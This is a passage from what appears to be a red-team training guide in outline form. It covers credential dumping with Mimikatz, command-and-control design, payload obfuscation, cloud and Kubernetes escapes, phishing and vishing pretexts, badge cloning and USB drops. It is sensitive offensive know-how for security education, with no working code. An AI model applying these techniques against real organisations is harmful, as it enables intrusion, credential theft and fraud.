extraction.\n\n**Mimikatz**\n\nMimikatz functionality:\n\n- **sekurlsa::logonpasswords** LSASS extraction\n- **lsadump::sam** SAM database\n- **lsadump::dcsync** domain replication\n- **kerberos::list** tickets\n- **vault::cred** credential manager\n- **token::elevate** privilege escalation\n\nComprehensive credential tool.\n\n**Linux Credentials**\n\nLinux credential locations:\n\n- **/etc/shadow** password hashes\n- **Memory** processes\n- **Bash history** commands with passwords\n- **Configuration files** plaintext credentials\n- **SSH keys** private keys\n- **Keyrings** GNOME/KDE\n- **Environment variables** sometimes\n\nExtraction varies by target.\n\n**Lateral Movement Preparation**\n\nCredentials enable movement:\n\n- **Password reuse** across systems\n- **Hash passing** without password\n- **Ticket usage** Kerberos tickets\n- **SSH keys** for Linux\n- **Service accounts** often privileged\n- **Domain accounts** for AD access\n\nHarvested credentials fuel expansion.\n\n---\n\n## Chapter 16: Command & Control (C2)\n\n### 16.1 C2 Architecture\n\nCommand and control infrastructure design.\n\n**C2 Components**\n\nC2 systems include:\n\n- **Team server** central coordination\n- **Listeners** accepting connections\n- **Payloads** generated for targets\n- **Beacons** on compromised hosts\n- **Redirectors** proxy connections\n- **Management interface** operator control\n\nComponents distributed for OPSEC.\n\n**Listener Types**\n\nListeners receive beacon connections:\n\n- **HTTP/HTTPS** web traffic\n- **DNS** domain name queries\n- **SMB** named pipes\n- **TCP** raw sockets\n- **ICMP** ping packets\n- **Custom protocols** application-specific\n\nProtocol selection affects detection.\n\n**Team Server Operation**\n\nTeam server management:\n\n- **Multiple operators** collaborative access\n- **Session management** multiple beacons\n- **Tasking** command execution\n- **File transfer** to/from beacons\n- **Reporting** activity logging\n- **Event log** operation history\n\nTeam server secures centralized.\n\n**Redirectors**\n\nRedirectors protect infrastructure:\n\n- **Proxy connections** between beacon and teamserver\n- **Obfuscate true source** hide teamserver IP\n- **CDN integration** domain fronting\n- **Load balancing** distribute traffic\n- **Failover** multiple redirectors\n- **Burn** replace on detection\n\nRedirectors critical for OPSEC.\n\n### 16.2 Beaconing Techniques\n\nBeacons maintain communication with compromised hosts.\n\n**Beacon Communication**\n\nBeacon operation:\n\n- **Sleep intervals** between check-ins\n- **Jitter** randomize timing\n- **Tasks** retrieved from server\n- **Output** returned on next check-in\n- **Kill date** stop after date\n- **Callback intervals** configurable\n\nCommunication patterns affect detection.\n\n**HTTP/S Beacons**\n\nHTTP beaconing:\n\n- **GET/POST requests** to listeners\n- **URL paths** configurable\n- **Headers** user-agent, cookies\n- **Parameters** data in requests\n- **SSL/TLS** encryption\n- **Content types** vary\n\nHTTPS common for enterprise.\n\n**DNS Beacons**\n\nDNS beaconing:\n\n- **DNS queries** to attacker domain\n- **TXT records** data exfiltration\n- **A records** simple check-ins\n- **MX/NS queries** alternative types\n- **Subdomain data** encoded in queries\n- **Authoritative DNS** attacker-controlled\n\nDNS often allowed through firewalls.\n\n**SMB Beacons**\n\nSMB beaconing:\n\n- **Named pipes** communication\n- **SMB traffic** within network\n- **No internet egress** required\n- **Peer-to-peer** C2\n- **Parent-child** beacon relationships\n- **Lateral movement** integrated\n\nSMB beacons for internal networks.\n\n### 16.3 Evasion Strategies\n\nC2 evasion techniques avoid detection.\n\n**Traffic Normalization**\n\nMaking traffic appear normal:\n\n- **Mimic legitimate** application traffic\n- **Common user-agents** browsers\n- **Standard paths** like /images/\n- **Timing patterns** human-like\n- **Referer headers** spoof sources\n- **Cookies** session-like\n\nNormal traffic blends in.\n\n**Domain Fronting**\n\nDomain fronting technique:\n\n- **CDN utilization** CloudFront, Azure\n- **High-profile domains** trusted names\n- **Host header** different from SNI\n- **TLS connection** to CDN\n- **Hidden backend** attacker server\n- **Traffic blending** with legitimate\n\nLargely mitigated now.\n\n**C2 Profile Customization**\n\nMalleable C2 profiles:\n\n- **HTTP headers** custom values\n- **URI paths** set patterns\n- **User-agent strings** variations\n- **Sleep times** randomized\n- **Jitter ranges** configurable\n- **POST/GET mix** alternation\n\nCobalt Strike malleable profiles.\n\n**Jitter and Randomization**\n\nTiming evasion:\n\n- **Sleep jitter** random intervals\n- **Transaction IDs** varying\n- **Session IDs** rotated\n- **IP rotation** multiple egress\n- **User-agent rotation** per check-in\n- **Path variation** different URIs\n\nRandomization defeats pattern detection.\n\n### 16.4 Payload Obfuscation\n\nPayloads obfuscated to evade AV/EDR.\n\n**Encoding Techniques**\n\nPayload encoding:\n\n- **Base64** simple encoding\n- **XOR** with varying keys\n- **AES encryption** with decryption stub\n- **Custom algorithms** unique per payload\n- **Multiple layers** encoding stack\n- **Dynamic keys** per execution\n\nEncryption defeats signature detection.\n\n**Packers and Crypters**\n\nPayload protection:\n\n- **UPX** executable packing\n- **Custom packers** unique compression\n- **Crypters** encrypt executable\n- **Stub loader** decrypts in memory\n- **Polymorphic** changing each time\n- **Metamorphic** modify code structure\n\nPackers bypass signature scanners.\n\n**Shellcode Loaders**\n\nLoader techniques:\n\n- **Memory allocation** VirtualAlloc\n- **Copy shellcode** to allocated memory\n- **Execute** as function pointer\n- **Thread creation** for execution\n- **Process injection** into other processes\n- **Callback functions** for execution\n\nLoaders stage final payload.\n\n**Reflective Loading**\n\nReflective DLL injection:\n\n- **Load DLL from memory** without disk\n- **Manual mapping** of PE structure\n- **Import resolution** manually\n- **Relocation processing** for ASLR\n- **Entry point** DllMain call\n- **Execution** in target process\n\nNo disk write evades detection.\n\n### 16.5 HTTPS & DNS C2\n\nCommon C2 protocols in depth.\n\n**HTTPS C2 Implementation**\n\nHTTPS communication:\n\n- **TLS encryption** hides content\n- **Server certificate** valid or self-signed\n- **SNI** server name indication\n- **JA3 fingerprinting** detection risk\n- **HTTP semantics** with encryption\n- **Certificate pinning** in beacons\n\nHTTPS blends with web traffic.\n\n**Certificate Management**\n\nC2 certificates:\n\n- **Let's Encrypt** free but tracked\n- **Self-signed** distinctive fingerprints\n- **Stolen certificates** from legit sources\n- **Certificate transparency** logged\n- **Revocation checking** by defenders\n- **Expiration management** operational\n\nCertificates affect detection.\n\n**DNS C2 Deep Dive**\n\nDNS tunneling:\n\n- **A queries** check-in data\n- **TXT records** data exfiltration\n- **MX/NS queries** command delivery\n- **Subdomain encoding** data in queries\n- **Response encoding** in answers\n- **TTL values** timing signals\n\nDNS C2 slow but stealthy.\n\n**DNS C2 Detection**\n\nDNS C2 detection methods:\n\n- **Volume anomalies** many queries\n- **Domain entropy** random subdomains\n- **Geographic mismatch** unusual locations\n- **NXDOMAIN ratio** high failure rate\n- **Query patterns** regular intervals\n- **Known bad domains** threat intel\n\nDefenders monitor DNS.\n\n### 16.6 OPSEC Failures\n\nCommon operational security mistakes.\n\n**Infrastructure Reuse**\n\nReuse problems:\n\n- **Same IPs** across engagements\n- **Same domains** multiple operations\n- **Certificate patterns** similar attributes\n- **Provider accounts** linked\n- **Payment methods** traced\n- **Registration details** identifying\n\nReuse enables tracking.\n\n**Behavioral Patterns**\n\nOperator patterns:\n\n- **Login times** regular schedule\n- **Tool signatures** command patterns\n- **Network origin** same source IP\n- **Language patterns** in comments\n- **Typing cadence** biometric\n- **Work hours** time zone clues\n\nPatterns identify operators.\n\n**Tool Customization**\n\nUnmodified tools risk:\n\n- **Default signatures** known hashes\n- **Command defaults** unchanged strings\n- **User-agents** default values\n- **Install paths** standard locations\n- **Registry keys** known artifacts\n- **Named pipes** default names\n\nCustomization required.\n\n**Burnout Procedures**\n\nInfrastructure destruction:\n\n- **Domain takedown** after operation\n- **Server decommission** remove VPS\n- **Certificate revocation** stop use\n- **DNS record removal** delete zones\n- **Provider account** close or repurpose\n- **Data wiping** server contents\n\nBurnout prevents attribution.\n\n---\n\n# PART VI \u2013 CLOUD & MODERN INFRASTRUCTURE\n\n## Chapter 17: Cloud Penetration Testing\n\n### 17.1 AWS Security Model\n\nAmazon Web Services security fundamentals.\n\n**AWS Shared Responsibility**\n\nResponsibility distribution:\n\n- **AWS responsible** FOR cloud (hardware, regions)\n- **Customer responsible** IN cloud (data, IAM)\n- **Shared controls** patch management\n- **Service-specific** responsibility varies\n- **Container services** more AWS responsibility\n- **Serverless** even more AWS responsibility\n\nUnderstanding boundaries essential.\n\n**AWS IAM**\n\nIdentity and Access Management:\n\n- **Users** individual identities\n- **Groups** permission collections\n- **Roles** assumed by entities\n- **Policies** permission documents\n- **Managed policies** AWS or customer\n- **Inline policies** attached directly\n\nIAM controls all access.\n\n**AWS Services Overview**\n\nCommon AWS services:\n\n- **EC2** virtual servers\n- **S3** object storage\n- **RDS** relational databases\n- **Lambda** serverless functions\n- **VPC** virtual networking\n- **CloudTrail** logging\n\nEach service attackable.\n\n**AWS Credentials**\n\nAWS credential types:\n\n- **Access keys** long-term credentials\n- **Session tokens** temporary (STS)\n- **Instance metadata** IAM roles\n- **Environment variables** configured\n- **Configuration files** ~/.aws/credentials\n- **Code repositories** hardcoded\n\nCredential theft common objective.\n\n### 17.2 Azure Security Model\n\nMicrosoft Azure security architecture.\n\n**Azure Active Directory**\n\nAzure AD fundamentals:\n\n- **Tenants** organizational containers\n- **Subscriptions** resource grouping\n- **Service principals** application identities\n- **Managed identities** Azure resource identities\n- **Conditional access** policy-based access\n- **Privileged Identity Management** (PIM)\n\nAzure AD hybrid with on-prem.\n\n**Azure RBAC**\n\nRole-Based Access Control:\n\n- **Roles** permission sets\n- **Assignments** to security principals\n- **Scope** management group to resource\n- **Built-in roles** common permissions\n- **Custom roles** organization-specific\n- **Deny assignments** explicit blocks\n\nRBAC controls Azure resources.\n\n**Azure Resources**\n\nCommon Azure resources:\n\n- **Virtual Machines** IaaS compute\n- **Storage Accounts** blobs, files, queues\n- **SQL Databases** PaaS database\n- **App Services** web applications\n- **Key Vault** secrets management\n- **Functions** serverless compute\n\nEach resource has specific attacks.\n\n**Azure AD Attacks**\n\nAzure AD attack vectors:\n\n- **Password spray** against O365\n- **Phishing** for credentials\n- **Consent grants** OAuth abuse\n- **Service principal** credential theft\n- **Managed identity** token theft\n- **Hybrid identity** AD connect compromise\n\nAzure AD primary target.\n\n### 17.3 IAM Abuse\n\nIdentity and Access Management abuse.\n\n**Privilege Escalation**\n\nIAM privilege escalation:\n\n- **Create policy** to grant permissions\n- **Attach policy** to user/role\n- **Create access keys** for other users\n- **Assume role** with higher privileges\n- **Modify trust** policies\n- **Update login** profile\n\nEscalation vectors vary by provider.\n\n**Overprivileged Roles**\n\nExcessive permissions:\n\n- **Administrator access** full control\n- **Wildcard actions** *:* too broad\n- **Resource wildcards** * in resources\n- **Service-wide permissions** beyond needed\n- **Cross-service** unintended access\n- **Persistence** through privileged roles\n\nLeast privilege principle violated.\n\n**Role Assumption**\n\nRole assumption attacks:\n\n- **Compromised identity** assume role\n- **Role chaining** multiple assumptions\n- **Confused deputy** cross-account abuse\n- **External ID** bypass\n- **Session duration** extended\n- **Trust policy** misconfiguration\n\nRoles often over-trusted.\n\n**Service Control Policies**\n\nSCP limitations:\n\n- **Organization boundaries** affecting accounts\n- **Deny overrides** even admin cannot bypass\n- **Policy evaluation** combining SCP and IAM\n- **OU structure** inheritance\n- **Service exceptions** specific services\n- **Resource controls** region restrictions\n\nSCPs limit even privileged users.\n\n### 17.4 S3 Bucket Attacks\n\nS3 misconfigurations expose data.\n\n**Bucket Enumeration**\n\nFinding S3 buckets:\n\n- **Bucket naming** common patterns\n- **DNS enumeration** s3.amazonaws.com\n- **Certificate logs** bucket names\n- **Public datasets** from breaches\n- **Brute force** common names\n- **Web application** bucket references\n\nTools like bucket_finder.\n\n**Bucket Permissions**\n\nS3 permission issues:\n\n- **Public read** world-readable objects\n- **Public write** world-writable objects\n- **Authenticated read** any AWS user\n- **Bucket policies** overly permissive\n- **ACLs** per-object permissions\n- **Missing encryption** data exposure\n\nPermissions often misconfigured.\n\n**Data Discovery**\n\nExposed data types:\n\n- **Backup files** database dumps\n- **Configuration files** with secrets\n- **Customer data** PII, financial\n- **Source code** intellectual property\n- **Log files** access patterns\n- **Internal documents** confidential\n\nDiscovery requires crawling.\n\n**Bucket Takeover**\n\nDomain takeover risks:\n\n- **DNS CNAME** to bucket\n- **Bucket deletion** by original owner\n- **Re-create bucket** with same name\n- **Serving content** from attacker bucket\n- **Cookie theft** from attacker-controlled site\n- **Subdomain takeover** extension\n\nTakeover enables phishing.\n\n### 17.5 Container Escape\n\nEscaping containers to host.\n\n**Container Isolation**\n\nContainer security model:\n\n- **Namespaces** process isolation\n- **Cgroups** resource limits\n- **Capabilities** reduced privileges\n- **Seccomp** system call filtering\n- **AppArmor/SELinux** MAC controls\n- **Read-only root** filesystem\n\nIsolation not complete.\n\n**Escape Vectors**\n\nContainer escape techniques:\n\n- **Kernel vulnerabilities** CVE-2016-5195\n- **Container runtime** Docker, runC bugs\n- **Mount escapes** host mounts\n- **Capability abuse** CAP_SYS_ADMIN\n- **Device access** /dev/mem\n- **Process injection** into host processes\n\nEscapes vary by configuration.\n\n**Privileged Containers**\n\nPrivileged container risks:\n\n- **Full host access** device access\n- **Host namespace** visibility\n- **Capabilities** all available\n- **Security disabled** no restrictions\n- **Escape trivial** from privileged\n- **Common in CI/CD** pipelines\n\nPrivileged containers dangerous.\n\n**Host Mounts**\n\nMount escape:\n\n- **Host filesystem** mounted inside\n- **/var/run/docker.sock** control host\n- **Host binaries** modify\n- **SSH keys** access\n- **Write to host** /etc\n- **Chroot** break\n\nMounts direct escape path.\n\n---\n\n## Chapter 18: Kubernetes & Containers\n\n### 18.1 Kubernetes Architecture\n\nKubernetes components and security model.\n\n**Control Plane Components**\n\nKubernetes master components:\n\n- **API Server** frontend, authentication\n- **etcd** cluster state storage\n- **Scheduler** pod placement\n- **Controller Manager** controllers\n- **Cloud Controller** cloud integration\n\nControl plane compromise catastrophic.\n\n**Node Components**\n\nWorker node components:\n\n- **kubelet** node agent\n- **kube-proxy** network rules\n- **Container runtime** Docker, containerd\n- **Pods** container groups\n- **kubelet API** on port 10250\n\nNode compromise enables pod access.\n\n**Kubernetes Objects**\n\nCommon Kubernetes resources:\n\n- **Pods** smallest deployable\n- **Services** stable endpoints\n- **Deployments** replica management\n- **Secrets** sensitive data\n- **ConfigMaps** configuration\n- **Ingress** external access\n\nRBAC controls object access.\n\n**Service Accounts**\n\nKubernetes authentication:\n\n- **Service accounts** pod identities\n- **Tokens** mounted in pods\n- **Automount** default service account\n- **Role binding** permissions\n- **Secrets** token storage\n- **API access** with token\n\nService accounts often overprivileged.\n\n### 18.2 Pod Escape\n\nEscaping pods to node or cluster.\n\n**Pod Breakout Vectors**\n\nPod escape techniques:\n\n- **Privileged pod** host access\n- **HostPath mounts** sensitive directories\n- **Docker socket** host control\n- **CAP_SYS_ADMIN** kernel access\n- **ProcFS access** process information\n- **Cgroup escape** resource limits bypass\n\nEach vector provides different access.\n\n**HostPath Escapes**\n\nHostPath exploitation:\n\n- **Mount host root** / to /host\n- **Access host files** /etc/shadow\n- **Modify host binaries** add backdoor\n- **Read host secrets** kubelet certificates\n- **Kubeconfig access** cluster admin\n- **Host processes** view\n\nHostPath powerful if misconfigured.\n\n**Docker Socket Exploitation**\n\nDocker socket escape:\n\n- **/var/run/docker.sock** mounted\n- **Create new container** with host access\n- **Run privileged** container\n- **Host filesystem** mount from new container\n- **Execute on host** through container\n- **Docker API** control host\n\nDocker socket equals host root.\n\n**ProcFS Attacks**\n\nProc filesystem exploitation:\n\n- **/proc/self/root** host filesystem\n- **/proc/1/root** init process filesystem\n- **Write to /proc/sys** kernel parameters\n- **/proc/[pid]/mem** process memory\n- **/proc/[pid]/fd** file descriptors\n- **Namespace manipulation** through proc\n\nProcFS provides host access.\n\n### 18.3 RBAC Exploitation\n\nKubernetes RBAC abuse.\n\n**RBAC Verbs and Resources**\n\nRBAC components:\n\n- **Verbs** get, list, create, update, patch, delete\n- **Resources** pods, secrets, deployments\n- **API groups** core, apps, extensions\n- **Namespaced** or cluster-wide\n- **Role** namespaced permissions\n- **ClusterRole** cluster-wide\n\nVerbs determine allowed actions.\n\n**Privilege Escalation Vectors**\n\nRBAC escalation:\n\n- **Create pods** with service account\n- **Exec into pods** pod/exec\n- **Get secrets** from pods\n- **Create rolebindings** grant permissions\n- **Escalate** verb in RBAC\n- **Impersonate** other users\n\nEach vector increases access.\n\n**Pod Creation Abuse**\n\nCreating malicious pods:\n\n- **Service account** with pod/create\n- **Specify node** desired placement\n- **Mount hostPath** for escape\n- **HostNetwork** access node network\n- **HostPID** view host processes\n- **Privileged container** escape\n\nPod creation enables attacks.\n\n**Secrets Access**\n\nSecret theft:\n\n- **Get secrets** permission\n- **List secrets** discovery\n- **Service account tokens** in secrets\n- **TLS certificates** from secrets\n- **Registry credentials** in secrets\n- **Database passwords** in secrets\n\nSecrets contain sensitive data.\n\n### 18.4 Supply Chain Attacks\n\nContainer supply chain risks.\n\n**Image Vulnerabilities**\n\nContainer image risks:\n\n- **Base image** vulnerabilities\n- **Application dependencies** CVEs\n- **OS packages** outdated\n- **Misconfigurations** in image\n- **Hardcoded secrets** in layers\n- **Unnecessary tools** attack surface\n\nImage scanning essential.\n\n**Image Trust**\n\nImage provenance:\n\n- **Image signing** Notary, Cosign\n- **Registry trust** verified sources\n- **Image pull policy** Always/IfNotPresent\n- **Digest pinning** immutable references\n- **Vulnerability scanning** admission control\n- **Image freshness** up-to-date\n\nTrust determines supply chain risk.\n\n**Malicious Images**\n\nAttackers supply malicious images:\n\n- **Typosquatting** similar names\n- **Dependency confusion** public over private\n- **Backdoored images** on public registries\n- **Bitcoin miners** in images\n- **Credential stealers** embedded\n- **Rootkits** in base layers\n\nImage provenance prevents.\n\n**CI/CD Pipeline Attacks**\n\nPipeline compromise:\n\n- **Source code** repository access\n- **Build environment** injection\n- **Registry push** malicious images\n- **Deployment credentials** theft\n- **Artifact tampering** in transit\n- **Pipeline configuration** modification\n\nPipeline attacks affect all deployments.\n\n---\n\n# PART VII \u2013 SOCIAL ENGINEERING & PHYSICAL SECURITY\n\n## Chapter 19: Social Engineering\n\n### 19.1 Phishing Campaigns\n\nPhishing fundamentals and methodology.\n\n**Phishing Types**\n\nPhishing variations:\n\n- **Mass phishing** broad targeting\n- **Spear phishing** targeted individuals\n- **Whaling** executive targeting\n- **Clone phishing** legitimate copy\n- **Voice phishing** (vishing)\n- **SMS phishing** (smishing)\n\nEach type different approach.\n\n**Campaign Planning**\n\nPhishing operation phases:\n\n- **Target selection** based on objectives\n- **Infrastructure setup** domains, servers\n- **Email crafting** convincing content\n- **Lures** pretext development\n- **Payload delivery** links or attachments\n- **Tracking** click/open rates\n\nPlanning affects success.\n\n**Infrastructure Requirements**\n\nPhishing infrastructure:\n\n- **Domains** similar to target (typosquatting)\n- **Email servers** SMTP with SPF/DKIM\n- **Web servers** landing pages\n- **TLS certificates** for HTTPS\n- **Redirectors** hide real servers\n- **Tracking** analytics\n\nInfrastructure must appear legitimate.\n\n**Phishing Kits**\n\nPre-built phishing tools:\n\n- **Gophish** open-source framework\n- **Social Engineering Toolkit** (SET)\n- **Evilginx2** man-in-the-middle\n- **Modlishka** reverse proxy\n- **CredSniper** credential harvesting\n- **Custom kits** per target\n\nKits automate campaigns.\n\n### 19.2 Spear Phishing\n\nTargeted phishing against specific individuals.\n\n**Target Research**\n\nSpear phishing reconnaissance:\n\n- **Role identification** responsibilities\n- **Professional interests** from LinkedIn\n- **Personal interests** from social media\n- **Current projects** from posts\n- **Recent events** triggers\n- **Communication style** mimic\n\nResearch enables convincing lures.\n\n**Contextual Lures**\n\nEffective phishing pretexts:\n\n- **Relevant subject lines** to role\n- **Spoofed sender** trusted colleague\n- **Conversation threading** existing chains\n- **Current events** timely topics\n- **Urgent requests** action triggers\n- **Authority figures** impersonation\n\nContext increases success.\n\n**Attachment Payloads**\n\nMalicious document delivery:\n\n- **Office macros** enable execution\n- **PDF exploits** reader vulnerabilities\n- **HTML smuggling** browser-based\n- **Archive files** zip with password\n- **OneNote** embedded files\n- **Container files** ISO, VHD\n\nAttachment payloads common.\n\n**Link Payloads**\n\nURL-based delivery:\n\n- **Cloned login pages** credential theft\n- **Drive-by downloads** browser exploits\n- **Open redirects** to malicious sites\n- **URL shorteners** hide destination\n- **Typosquatted domains** look-alike URLs\n- **Browser-in-the-middle** real-time proxying\n\nLinks enable various attacks.\n\n### 19.3 Pretexting\n\nCreating convincing scenarios for manipulation.\n\n**Pretext Development**\n\nBuilding believable scenarios:\n\n- **Identity creation** fake persona\n- **Backstory development** consistent history\n- **Supporting artifacts** fake IDs\n- **Knowledge preparation** target information\n- **Response planning** for questions\n- **Exit strategies** if challenged\n\nPretext must withstand scrutiny.\n\n**Impersonation Techniques**\n\nAssuming other identities:\n\n- **Internal employees** IT support\n- **Trusted vendors** known companies\n- **Authority figures** executives\n- **Technical roles** help desk\n- **Government agencies** regulators\n- **Partner organizations** collaborators\n\nImpersonation exploits trust.\n\n**Authority Exploitation**\n\nAuthority principle:\n\n- **Urgency creation** immediate action\n- **Threat of consequences** if non-compliant\n- **Hierarchy invocation** \"CEO requested\"\n- **Technical authority** \"IT requires\"\n- **Regulatory compliance** \"audit demands\"\n- **Social proof** \"others have done\"\n\nAuthority bypasses skepticism.\n\n**Technical Pretexting**\n\nTech-focused pretexts:\n\n- **Security updates** required installation\n- **System upgrades** credential verification\n- **Password resets** immediate action\n- **MFA enrollment** setup assistance\n- **Software licenses** verification needed\n- **Vulnerability scans** remote access required\n\nTechnical pretexts yield credentials.\n\n### 19.4 Vishing\n\nVoice phishing techniques.\n\n**Vishing Fundamentals**\n\nVoice phishing characteristics:\n\n- **Phone calls** direct interaction\n- **VoIP spoofing** caller ID manipulation\n- **IVR systems** automated collection\n- **Call recording** script refinement\n- **Accent training** regional adaptation\n- **Background noise** office sounds\n\nVishing personal interaction.\n\n**Common Vishing Scenarios**\n\nTypical vishing attacks:\n\n- **Bank fraud** \"fraud department\"\n- **Tech support** \"virus detected\"\n- **IRS impersonation** \"tax issues\"\n- **Microsoft support** \"licensing problem\"\n- **HR benefits** \"enrollment required\"\n- **Vendor verification** \"payment issue\"\n\nEach scenario triggers action.\n\n**Vishing Tools**\n\nVishing technology:\n\n- **VoIP services** burner numbers\n- **Call spoofing** display manipulation\n- **Call recording** capture conversations\n- **Voice changing** disguise identity\n- **Background sounds** authenticity\n- **Auto-dialers** call volume\n\nTools enhance vishing operations.\n\n**Defense Awareness**\n\nVishing countermeasures:\n\n- **Call verification** hang up and call back\n- **Unsolicited requests** for information\n- **Urgency detection** pressure tactics\n- **Request patterns** unusual demands\n- **Identity verification** official channels\n- **Reporting mechanisms** suspicious calls\n\nUser awareness primary defense.\n\n### 19.5 Payload Delivery\n\nDelivering malicious payloads through social engineering.\n\n**Payload Types**\n\nSocial engineering payloads:\n\n- **Remote access trojans** (RATs)\n- **Information stealers** credential harvesters\n- **Ransomware** for impact\n- **Backdoors** persistent access\n- **Keyloggers** activity monitoring\n- **Proxy tools** for pivoting\n\nPayload matches objectives.\n\n**Macro-Based Payloads**\n\nOffice macro delivery:\n\n- **VBA macros** in documents\n- **Auto-execute** on document open\n- **Social engineering** enable content\n- **Payload download** from internet\n- **PowerShell execution** from macro\n- **AMSI bypass** before execution\n\nMacros common initial access.\n\n**HTML Smuggling**\n\nBrowser-based payloads:\n\n- **JavaScript payload** construction\n- **Blob creation** in browser\n- **Download trigger** automatically\n- **AV evasion** content never on disk\n- **Custom encoding** avoid signatures\n- **User interaction** often required\n\nHTML smuggling evades gateways.\n\n**Living Off the Land**\n\nLOLBin payloads:\n\n- **PowerShell** scripts\n- **MSHTA** HTML application\n- **Regsvr32** COM registration\n- **Msiexec** MSI installation\n- **Certutil** file download\n- **Wmic** process execution\n\nLOLBins evade application controls.\n\n---\n\n## Chapter 20: Physical Red Teaming\n\n### 20.1 Badge Cloning\n\nCloning access badges for physical entry.\n\n**RFID Technology**\n\nAccess card types:\n\n- **Low frequency** 125 kHz (HID Prox)\n- **High frequency** 13.56 MHz (MIFARE)\n- **UHF** long range\n- **NFC** mobile device compatible\n- **Smart cards** with crypto\n- **Wiegand** protocol\n\nTechnology determines cloning difficulty.\n\n**Cloning Hardware**\n\nBadge cloning devices:\n\n- **Proxmark3** RFID research\n- **Flipper Zero** multi-tool\n- **RFIDler** software-defined\n- **HID readers** with write capability\n- **Phone apps** with NFC\n- **Custom antennas** range extension\n\nHardware varies by card type.\n\n**Cloning Process**\n\nBadge cloning steps:\n\n- **Capture card data** with reader\n- **Analyze format** determine encoding\n- **Extract credential** facility code, ID\n- **Write to blank** compatible card\n- **Test access** verify functionality\n- **Duplicate multiple** for team\n\nProcess requires proximity.\n\n**Credential Extraction**\n\nReading card secrets:\n\n- **Default keys** for MIFARE\n- **Cryptographic attacks** on older cards\n- **Side-channel** power analysis\n- **Reverse engineering** card format\n- **Dump memory** from smart cards\n- **Brute force** limited attempts\n\nSome cards more secure.\n\n### 20.2 Tailgating\n\nFollowing authorized personnel through secured doors.\n\n**Tailgating Techniques**\n\nEntry methods:\n\n- **Piggybacking** behind authorized person\n- **Door propping** hold open\n- **Mantraps** following through\n- **Loading dock** deliveries follow\n- **Smoking areas** re-entry with others\n- **Gym entrance** employee wellness centers\n\nEach exploits human courtesy.\n\n**Psychological Approaches**\n\nSocial tactics:\n\n- **Distraction** hands full, need help\n- **Authority** \"forgot badge, security\"\n- **Urgency** \"late for meeting\"\n- **Confidence** act like you belong\n- **Conversation** engage while walking\n- **Bystander effect** others assume you're okay\n\nPsychology enables tailgating.\n\n**Defensive Measures**\n\nTailgating prevention:\n\n- **Turnstiles** one-person passage\n- **Mantraps** two-door interlock\n- **Security awareness** training\n- **Visual deterrents** signage\n- **Alarms** on propped doors\n- **Reception** manned entry\n\nDesign reduces tailgating.\n\n**Testing Methodology**\n\nPhysical testing approach:\n\n- **Observation** entry patterns\n- **Timing** peak hours\n- **Personnel selection** helpful individuals\n- **Dress code** appropriate attire\n- **Props** boxes, coffee\n- **Exit strategy** if challenged\n\nTesting validates controls.\n\n### 20.3 Lock Picking\n\nMechanical lock manipulation.\n\n**Lock Types**\n\nCommon lock mechanisms:\n\n- **Pin tumbler** most common\n- **Wafer locks** cabinets, desks\n- **Tubular locks** vending machines\n- **Disc detainer** high security\n- **Magnetic locks** electronic\n- **Smart locks** electronic with keypad\n\nEach requires specific techniques.\n\n**Picking Tools**\n\nLock picking equipment:\n\n- **Tension wrenches** apply torque\n- **Picks** various hook, rake designs\n- **Electric picks** automated\n- **Decoders** for combination locks\n- **Bypass tools** for specific locks\n- **Practice locks** for training\n\nTool selection by lock type.\n\n**Picking Techniques**\n\nManipulation methods:\n\n- **Single pin picking** (SPP) individual pins\n- **Raking** quick random movement\n- **Bumping** impact technique\n- **Impressioning** create key\n- **Decoding** determine combination\n- **Bypass** avoid picking entirely\n\nTechnique varies by lock.\n\n**Bypass Methods**\n\nAlternative entry:\n\n- **Lock bypass** through weaknesses\n- **Shimming** spring latch\n- **Credit card** spring latch\n- **Door spread** frame flex\n- **Hinge removal** exposed pins\n- **Window entry** adjacent access\n\nBypass often faster than picking.\n\n### 20.4 USB Drops\n\nDeploying USB devices for initial access.\n\n**USB Drop Strategy**\n\nDrop campaign planning:\n\n- **Location selection** high traffic areas\n- **Timing** cleaning, lunch hours\n- **Labeling** enticing names\n- **Quantity** multiple drops\n- **Tracking** pickup monitoring\n- **Recovery** retrieve unused\n\nStrategy affects success rate.\n\n**Payload Types**\n\nUSB drop payloads:\n\n- **Rubber Ducky** keystroke injection\n- **BadUSB** device impersonation\n- **Social engineering** files with lures\n- **Autorun** (legacy, mostly blocked)\n- **Dual-use** charging plus attack\n- **Hardware implants** advanced\n\nPayload determines impact.\n\n**Keystroke Injection**\n\nAutomated keyboard attacks:\n\n- **HID impersonation** acts as keyboard\n- **Fast typing** commands in seconds\n- **Payloads** PowerShell, reverse shells\n- **Custom scripts** per target\n- **Bypasses** for protections\n- **Persistence** installation\n\nRubber Ducky popular example.\n\n**Physical Risks**\n\nUSB drop considerations:\n\n- **Legal issues** unattended device\n- **Safety concerns** unknown device\n- **Employee reporting** security awareness\n- **Camera coverage** surveillance\n- **Clean-up** janitorial removal\n- **Retrieval difficulty** tracking\n\nRisk management required.\n\n### 20.5 Hardware Implants\n\nAdvanced physical access devices.\n\n**Implant Types**\n\nHardware implant categories:\n\n- **Keyloggers** inline or wireless\n- **Network taps** capture traffic\n- **Keystroke injection** during use\n- **Cell phone attacks** through charging\n- **Supply chain implants** pre-installed\n- **RFID skimmers** proximity capture\n\nEach provides different capabilities.\n\n**Deployment Scenarios**\n\nImplant placement:\n\n- **USB passthrough** between keyboard and computer\n- **Internal installation** inside devices\n- **Inline network** between cables\n- **Power outlet** with capture\n- **Conference rooms** under tables\n- **Printers** network access\n\nPlacement affects access.\n\n**Wireless Exfiltration**\n\nRemote data retrieval:\n\n- **Bluetooth** short range\n- **Wi-Fi** network connection\n- **Cellular** long distance\n- **RF** custom frequencies\n- **GSM** text message exfiltration\n- **Encrypted** capture prevented\n\nWireless enables remote collection.\n\n**Detection Avoidance**\n\nImplant stealth:\n\n- **Physical camouflage** blend with environment\n- **Low power** extended operation\n- **Intermittent operation** avoid scanning\n- **Passive capture** no emissions\n- **Encrypted storage** data protection\n- **Self-destruct** on detection\n\nStealth critical for implants.\n\n---\n\n# PART VIII \u2013 EVASION & DEFENSE BYPASS\n\n## Chapter 21: AV/EDR Evasion\n\n### 21.1 Signature Evasion\n\nBypassing signature-based detection.\n\n**Signature Detection**\n\nHow signatures work:\n\n- **Static patterns** file hashes\n- **Byte sequences** in files\n- **String matches** specific text\n- **Regular expressions** pattern matching\n- **YARA rules** signature language\n- **Heuristics** behavioral patterns\n\nSignatures identify known malware.\n\n**Obfuscation Techniques**\n\nEvading signatures:\n\n- **Code encryption** with decryption stub\n- **Variable renaming** change identifiers\n- **Control flow** flattening\n- **Dead code** insertion\n- 